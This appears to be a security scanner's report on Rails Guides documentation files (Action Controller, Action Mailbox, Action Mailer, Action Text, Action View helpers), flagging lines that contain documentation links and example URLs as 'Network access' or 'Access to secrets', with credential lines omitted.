Parameters](https://api.rubyonrails.org/classes/ActionController/StrongParameters.html), - Network accessline 496
[`permit`]: https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit - Network accessline 497
https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit - Network accessline 498
[`permit!`]: https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit-21 [`expect`]: - Network accessline 499
https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit-21 - Network accessline 501
https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-expect - Network accessline 547
# using `fetch` you can supply a default and use # the Strong Parameters API from there. params.fetch(:blog, {}).permit(:title, :author) - Network accessline 549
params.fetch(:blog, {}).permit(:title, :author) - Network accessline 585
[`require`]: https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-require - Network accessline 586
https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-require - Network accessline 591
The concept of a cookie is not specific to Rails. A [cookie](https://en.wikipedia.org/wiki/HTTP_cookie) (also known as an HTTP - Network accessline 592
[cookie](https://en.wikipedia.org/wiki/HTTP_cookie) (also known as an HTTP - Access to secretsline 594
[Credential-related source omitted] - Access to secretsline 647
[Credential-related source omitted] - Network accessline 654
Refer to the [API documentation](https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) - Network accessline 655
documentation](https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) - Network accessline 688
configuring.html#config-action-dispatch-cookies-serializer [`cookies`]: https://api.rubyonrails.org/classes/ActionController/Cookies.html#method-i-cookies - Network accessline 690
https://api.rubyonrails.org/classes/ActionController/Cookies.html#method-i-cookies - Network accessline 752
recommended to use `reset_session` after logging in to avoid session fixation attacks. Please refer to the [Security Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures) - Network accessline 753
attacks. Please refer to the [Security Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures) for details. - Network accessline 754
Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures) - Network accessline 761
[`reset_session`]: https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-reset_session - Network accessline 762
https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-reset_session - Network accessline 766
The [flash](https://api.rubyonrails.org/classes/ActionDispatch/Flash.html) - Network accessline 904
[`flash`]: https://api.rubyonrails.org/classes/ActionDispatch/Flash/RequestMethods.html#method-i-flash - Network accessline 905
https://api.rubyonrails.org/classes/ActionDispatch/Flash/RequestMethods.html#method-i-flash - Network accessline 906
[`flash.keep`]: https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-keep [`flash.now`]: - Network accessline 907
https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-keep - Network accessline 909
https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-now - Network accessline 993
WARNING: Changing the `secret_key_base` when using the `CookieStore` will invalidate all existing sessions. You'll need to configure a [cookie rotator](https://edgeguides.rubyonrails.org/configuring.html#config-action-dispatch-cookies-rotat - Network accessline 994
invalidate all existing sessions. You'll need to configure a [cookie rotator](https://edgeguides.rubyonrails.org/configuring.html#config-action-dispatch-cookies-rotations) - Network accessline 997
[`ActionDispatch::Session::CookieStore`]: https://api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html - Network accessline 998
https://api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html - Network accessline 999
[`ActionDispatch::Session::CacheStore`]: https://api.rubyonrails.org/classes/ActionDispatch/Session/CacheStore.html [activerecord-session_store]: - Network accessline 1000
https://api.rubyonrails.org/classes/ActionDispatch/Session/CacheStore.html - Network accessline 1002
https://github.com/rails/activerecord-session_store - Network accessline 1064
[`before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action - Network accessline 1065
[`skip_before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-skip_before_action - Network accessline 1115
[`after_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action - Network accessline 1116
[`around_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action - Network accessline 1190
[`ActionDispatch::Request`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html - Network accessline 1191
[`request`]: https://api.rubyonrails.org/classes/ActionController/Base.html#method-i-request - Network accessline 1192
[`response`]: https://api.rubyonrails.org/classes/ActionController/Base.html#method-i-response - Network accessline 1193
[`ActionDispatch::Response`]: https://api.rubyonrails.org/classes/ActionDispatch/Response.html - Network accessline 1201
To get a full list of the available methods, refer to the [Rails API documentation](https://api.rubyonrails.org/classes/ActionDispatch/Request.html) - Network accessline 1202
documentation](https://api.rubyonrails.org/classes/ActionDispatch/Request.html) - Network accessline 1203
and [Rack](https://rack.github.io/rack/main/Rack/Request.html) - Network accessline 1233
[`path_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Http/Parameters.html#method-i-path_parameters - Network accessline 1234
[`query_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-query_parameters - Network accessline 1235
[`request_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-request_parameters - Network accessline 1248
You can set the [`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D) in a `before_action`: - Network accessline 1319
To get a full list of the available methods, refer to the [Rails API documentation](https://api.rubyonrails.org/classes/ActionDispatch/Response.html) - Network accessline 1320
documentation](https://api.rubyonrails.org/classes/ActionDispatch/Response.html) - Network accessline 1322
Documentation](https://rack.github.io/rack/main/Rack/Response.html).
packages/autoskills/skills-registry/rails-guides/references/action_mailbox_basics.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 26
Job](active_job_basics.html) to one or several dedicated mailboxes. These emails are turned into [`InboundEmail`](https://api.rubyonrails.org/classes/ActionMailbox/InboundEmail.html) - Network accessline 27
are turned into [`InboundEmail`](https://api.rubyonrails.org/classes/ActionMailbox/InboundEmail.html) records using [Active Record](active_record_basics.html), which are capable of - Network accessline 28
[`InboundEmail`](https://api.rubyonrails.org/classes/ActionMailbox/InboundEmail.html) - Network accessline 65
At this point, you can start your Rails server and check out `http://localhost:3000/rails/conductor/action_mailbox/inbound_emails`. See - Network accessline 66
`http://localhost:3000/rails/conductor/action_mailbox/inbound_emails`. See - Network accessline 103
action_mailbox:ingress:exim`, providing the `URL` of the relay ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this: - Network accessline 105
`https://example.com`, the full command would look like this: - Network accessline 108
[Credential-related source omitted] - Network accessline 136
[Configure Mailgun](https://documentation.mailgun.com/docs/mailgun/user-manual/receive-forward-store/) - Network accessline 137
Mailgun](https://documentation.mailgun.com/docs/mailgun/user-manual/receive-forward-store/) - Network accessline 138
to forward inbound emails to `/rails/action_mailbox/mailgun/inbound_emails/mime`. If your application lived at `https://example.com`, you would specify the fully-qualified URL - Network accessline 139
`/rails/action_mailbox/mailgun/inbound_emails/mime`. If your application lived at `https://example.com`, you would specify the fully-qualified URL `https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime`. - Network accessline 140
at `https://example.com`, you would specify the fully-qualified URL - Network accessline 141
`https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime`. - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted] - Network accessline 167
[Configure Mandrill](https://mailchimp.com/developer/transactional/guides/set-up-inbound-email-processing/) - Network accessline 168
Mandrill](https://mailchimp.com/developer/transactional/guides/set-up-inbound-email-processing/) - Network accessline 169
to route inbound emails to `/rails/action_mailbox/mandrill/inbound_emails`. If your application lived at `https://example.com`, you would specify the fully-qualified URL - Network accessline 170
your application lived at `https://example.com`, you would specify the - Network accessline 172
`https://example.com/rails/action_mailbox/mandrill/inbound_emails`. - Network accessline 198
[Configure Postfix](https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script) - Network accessline 199
Postfix](https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script) - Network accessline 200
to pipe inbound emails to `bin/rails action_mailbox:ingress:postfix`, providing the `URL` of the Postfix ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command - Network accessline 201
the `URL` of the Postfix ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this: - Network accessline 202
generated. If your application lived at `https://example.com`, the full command - Network accessline 206
[Credential-related source omitted] - Network accessline 233
[Configure Postmark inbound webhook](https://postmarkapp.com/manual#configure-your-inbound-webhook-url) to - Network accessline 234
webhook](https://postmarkapp.com/manual#configure-your-inbound-webhook-url) to - Network accessline 235
forward inbound emails to `/rails/action_mailbox/postmark/inbound_emails` with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure Postmark with - Network accessline 236
the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure Postmark with the following fully-qualified URL: - Network accessline 237
application lived at `https://example.com`, you would configure Postmark with - Network accessline 241
https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails - Network accessline 273
action_mailbox:ingress:qmail`, providing the `URL` of the relay ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this: - Network accessline 275
`https://example.com`, the full command would look like this: - Network accessline 278
[Credential-related source omitted] - Network accessline 305
[Configure SendGrid Inbound Parse](https://sendgrid.com/docs/for-developers/parsing-email/setting-up-the-inbound-parse-webhook/) - Network accessline 306
Parse](https://sendgrid.com/docs/for-developers/parsing-email/setting-up-the-inbound-parse-webhook/) - Network accessline 307
to forward inbound emails to `/rails/action_mailbox/sendgrid/inbound_emails` with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure SendGrid - Network accessline 308
with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure SendGrid with the following URL: - Network accessline 309
your application lived at `https://example.com`, you would configure SendGrid - Network accessline 313
https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails - Network accessline 345
For example, the above will match any email sent to `save@` to a "forwards" mailbox. There are other ways to route an email, see [`ActionMailbox::Base`](https://api.rubyonrails.org/classes/ActionMailbox/Base.html) - Network accessline 346
mailbox. There are other ways to route an email, see [`ActionMailbox::Base`](https://api.rubyonrails.org/classes/ActionMailbox/Base.html) for more. - Network accessline 347
[`ActionMailbox::Base`](https://api.rubyonrails.org/classes/ActionMailbox/Base.html) - Network accessline 364
When processing an `InboundEmail`, you can get the parsed version of the email as a [`Mail`](https://github.com/mikel/mail) object with `InboundEmail#mail`. - Network accessline 365
as a [`Mail`](https://github.com/mikel/mail) object with `InboundEmail#mail`. - Network accessline 415
met before `process` method is called. In this case, `before_processing` checks that the user has at least one project. Other supported [Action Mailbox callbacks](https://api.rubyonrails.org/classes/ActionMailbox/Callbacks.html) are - Network accessline 416
that the user has at least one project. Other supported [Action Mailbox callbacks](https://api.rubyonrails.org/classes/ActionMailbox/Callbacks.html) are `after_processing` and `around_processing`. - Network accessline 417
callbacks](https://api.rubyonrails.org/classes/ActionMailbox/Callbacks.html) are - Network accessline 500
Please refer to the [ActionMailbox::TestHelper API](https://api.rubyonrails.org/classes/ActionMailbox/TestHelper.html) for - Network accessline 501
API](https://api.rubyonrails.org/classes/ActionMailbox/TestHelper.html) for - Network accessline 510
The actual incineration is done via the [`IncinerationJob`](https://api.rubyonrails.org/classes/ActionMailbox/IncinerationJob.html) - Network accessline 511
[`IncinerationJob`](https://api.rubyonrails.org/classes/ActionMailbox/IncinerationJob.html)
packages/autoskills/skills-registry/rails-guides/references/action_mailer_basics.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 35
[`ActionMailer::Base`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html - Network accessline 36
https://api.rubyonrails.org/classes/ActionMailer/Base.html - Network accessline 104
def welcome_email @user = params[:user] @url = "http://example.com/login" - Network accessline 105
@user = params[:user] @url = "http://example.com/login" mail(to: @user.email_address, subject: "Welcome to My Awesome Site") - Network accessline 106
@url = "http://example.com/login" - Network accessline 139
[`default`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-default - Network accessline 140
https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-default - Network accessline 141
[`mail`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-mail [`headers`]: - Network accessline 142
https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-mail - Network accessline 144
https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-headers - Network accessline 337
[`ActionMailer::MessageDelivery`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html - Network accessline 338
https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html - Network accessline 339
[`deliver_later`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_later [`deliver_now`]: - Network accessline 340
https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_later - Network accessline 341
[`deliver_now`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_now [`Mail::Message`]: https://api.rubyonrails.org/classes/Mail/Message.html - Network accessline 342
https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_now - Network accessline 343
[`Mail::Message`]: https://api.rubyonrails.org/classes/Mail/Message.html - Network accessline 344
[`message`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-message [`with`]: - Network accessline 345
https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-message - Network accessline 347
https://api.rubyonrails.org/classes/ActionMailer/Parameterized/ClassMethods.html#method-i-with - Network accessline 356
You can add an attachment with Action Mailer by passing the file name and content to the [attachments method](https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments). - Network accessline 357
content to the [attachments method](https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments). Action Mailer will automatically guess the `mime_type`, set the `encoding`, and - Network accessline 358
method](https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments). - Network accessline 403
you want to show inline. You can call `url` on the hash and pass the result into the [`image_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) - Network accessline 404
the [`image_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) method: - Network accessline 405
[`image_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) - Network accessline 432
The [Mail](https://github.com/mikel/mail) gem has helper methods for making a - Network accessline 433
`multipart/alternate` email for `text/plain` and `text/html` [MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) and you can manually create any other type of MIME email. - Network accessline 434
types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) - Network accessline 466
def welcome_email @user = params[:user] @url = "http://example.com/login" - Network accessline 467
@user = params[:user] @url = "http://example.com/login" mail(to: @user.email_address, - Network accessline 468
@url = "http://example.com/login" - Network accessline 488
def welcome_email @user = params[:user] @url = "http://example.com/login" - Network accessline 489
@user = params[:user] @url = "http://example.com/login" mail(to: @user.email_address, - Network accessline 490
@url = "http://example.com/login" - Network accessline 500
This will render the template `another_template.html.erb` for the HTML part and "hello" for the text part. The [render](https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render) - Network accessline 501
"hello" for the text part. The [render](https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render) method is the same one used inside of Action Controller, so you can use all the - Network accessline 502
[render](https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render) - Network accessline 523
[`append_view_path`]: https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-append_view_path - Network accessline 524
https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-append_view_path - Network accessline 526
https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-prepend_view_path - Network accessline 573
[`url_for`]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for - Network accessline 574
https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for - Network accessline 598
config.action_mailer.asset_host = "http://example.com" - Network accessline 601
NOTE: Because we can't infer the protocol from the request, you'll need to specify a protocol such as `http://` or `https://` in the `:asset_host` config. - Network accessline 602
specify a protocol such as `http://` or `https://` in the `:asset_host` config. - Network accessline 631
[`cache`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache - Network accessline 632
https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache - Network accessline 686
[`layout`]: https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout - Network accessline 687
https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout - Network accessline 744
[`email_address_with_name`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-email_address_with_name - Network accessline 745
https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-email_address_with_name - Network accessline 925
[`after_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action - Network accessline 926
https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action - Network accessline 927
[`after_deliver`]: https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-after_deliver [`around_action`]: - Network accessline 928
https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-after_deliver - Network accessline 929
[`around_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action [`around_deliver`]: - Network accessline 930
https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action - Network accessline 931
[`around_deliver`]: https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-around_deliver [`before_action`]: - Network accessline 932
https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-around_deliver - Network accessline 933
[`before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action [`before_deliver`]: - Network accessline 934
https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action - Network accessline 936
https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-before_deliver - Network accessline 953
[`ActionMailer::MailHelper`]: https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html - Network accessline 954
https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html - Network accessline 955
[MailHelper#mailer]: https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-mailer [MailHelper#message]: - Network accessline 956
https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-mailer - Network accessline 958
https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-message - Network accessline 1005
NOTE: Google [blocks sign-ins](https://support.google.com/accounts/answer/6010255) from apps it deems - Network accessline 1006
sign-ins](https://support.google.com/accounts/answer/6010255) from apps it deems - Network accessline 1007
less secure. You can [change your Gmail settings](https://www.google.com/settings/security/lesssecureapps) to allow the - Network accessline 1008
attempts. If your Gmail account has 2-factor authentication enabled, then you will need to set an [app password](https://myaccount.google.com/apppasswords) and use that instead of your regular password. - Network accessline 1009
will need to set an [app password](https://myaccount.google.com/apppasswords) - Network accessline 1034
Now the preview will be available at <http://localhost:3000/rails/mailers/user_mailer/welcome_email>. - Network accessline 1035
<http://localhost:3000/rails/mailers/user_mailer/welcome_email>. - Network accessline 1038
`app/views/user_mailer/welcome_email.html.erb` or the mailer itself, the preview will automatically be updated. A list of previews is also available in <http://localhost:3000/rails/mailers>. - Network accessline 1040
<http://localhost:3000/rails/mailers>. - Network accessline 1056
To rescue errors that occur during any part of the mailing process, use [rescue_from](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from): - Network accessline 1057
[rescue_from](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):
packages/autoskills/skills-registry/rails-guides/references/action_text_overview.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 26
Action Text includes a [WYSIWYG](https://en.wikipedia.org/wiki/WYSIWYG) editor - Network accessline 29
everything from providing enriching capabilities like the formatting of text, adding links or quotes, embedding images, and much much more. See [the Trix editor website](https://trix-editor.org/) for examples. - Network accessline 31
editor website](https://trix-editor.org/) for examples. - Network accessline 91
model, on a single association. Read more about it in the [Active Record Associations guide](https://guides.rubyonrails.org/association_basics.html#polymorphic-associations). - Network accessline 93
guide](https://guides.rubyonrails.org/association_basics.html#polymorphic-associations). - Network accessline 130
update your views to make use of the rich text editor (Trix) for that field. To do so, use a [`rich_textarea`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea) - Network accessline 131
do so, use a [`rich_textarea`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea) for the form field. - Network accessline 132
[`rich_textarea`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea) - Network accessline 184
HTML safe and should not be rendered in browsers without additional sanitization. You can learn more about Action Text's sanitization process in the [`ActionText::RichText` documentation](https://api.rubyonrails.org/classes/ActionText/RichT - Network accessline 186
documentation](https://api.rubyonrails.org/classes/ActionText/RichText.html). - Network accessline 269
In addition to the typical `event.detail` properties, Action Text also dispatches events with an [`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file) - Network accessline 270
dispatches events with an [`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file) property. - Network accessline 271
[`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file) - Network accessline 291
In addition to attachments uploaded through Active Storage, Action Text can also embed anything that can be resolved by a [Signed GlobalID](https://github.com/rails/globalid#signed-global-ids). - Network accessline 293
GlobalID](https://github.com/rails/globalid#signed-global-ids).
packages/autoskills/skills-registry/rails-guides/references/action_view_helpers.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 16
The following outlines **some of the most commonly used helpers** available in Action View. It serves as a good starting point, but reviewing the full [API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) is - Network accessline 17
Action View. It serves as a good starting point, but reviewing the full [API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) is also recommended, as it covers all of the helpers in more detail. - Network accessline 18
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) is - Network accessline 46
See the [`distance_of_time_in_words` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words) - Network accessline 47
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words) - Network accessline 59
See the [`time_ago_in_words` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-time_ago_in_words) - Network accessline 60
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-time_ago_in_words) - Network accessline 77
See the [`number_to_currency` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency) - Network accessline 78
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency) - Network accessline 91
See the [`number_to_human` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human) - Network accessline 92
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human) - Network accessline 105
See the [`number_to_human_size` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human_size) - Network accessline 106
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human_size) - Network accessline 117
See the [`number_to_percentage` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_percentage) - Network accessline 118
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_percentage) - Network accessline 129
See the [`number_to_phone` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_phone) - Network accessline 130
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_phone) - Network accessline 141
See the [`number_with_delimiter` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_delimiter) - Network accessline 142
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_delimiter) - Network accessline 154
See the [`number_with_precision` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_precision) - Network accessline 155
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_precision) - Network accessline 177
See the [`excerpt` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-excerpt) - Network accessline 178
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-excerpt) - Network accessline 191
See the [`pluralize` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-pluralize) - Network accessline 192
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-pluralize) - Network accessline 218
See the [`truncate` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-truncate) - Network accessline 219
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-truncate) - Network accessline 231
See the [`word_wrap` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-word_wrap) - Network accessline 232
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-word_wrap) - Network accessline 270
See the [`button_to` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) - Network accessline 271
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) - Network accessline 284
See the [`current_page?` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-current_page-3F) - Network accessline 285
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-current_page-3F) - Network accessline 304
link_to nil, "https://example.com" - Network accessline 305
# => <a href="https://example.com">https://example.com</a> - Network accessline 327
See the [`link_to` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) - Network accessline 328
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) - Network accessline 346
See the [`mail_to` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-mail_to) - Network accessline 347
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-mail_to) - Network accessline 373
This functionality is powered internally by the [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem. - Network accessline 374
[rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem. - Network accessline 402
See the [`sanitize` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize) - Network accessline 403
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize) - Network accessline 418
See the [`sanitize_css` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize_css) - Network accessline 419
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize_css) - Network accessline 427
strip_links("<a href='https://rubyonrails.org'>Ruby on Rails</a>") - Network accessline 433
strip_links("Blog: <a href='http://myblog.com/'>Visit</a>.") - Network accessline 437
See the [`strip_links` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_links) - Network accessline 438
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_links) - Network accessline 452
strip_links('<<a href="https://example.org">malformed & link</a>') - Network accessline 456
See the [`strip_tags` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_tags) - Network accessline 457
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_tags) - Network accessline 504
INFO: Internally, `audio_tag` uses [`audio_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-audio_path) - Network accessline 505
AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-audio_path) - Network accessline 508
See the [`audio_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag) - Network accessline 509
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag) - Network accessline 518
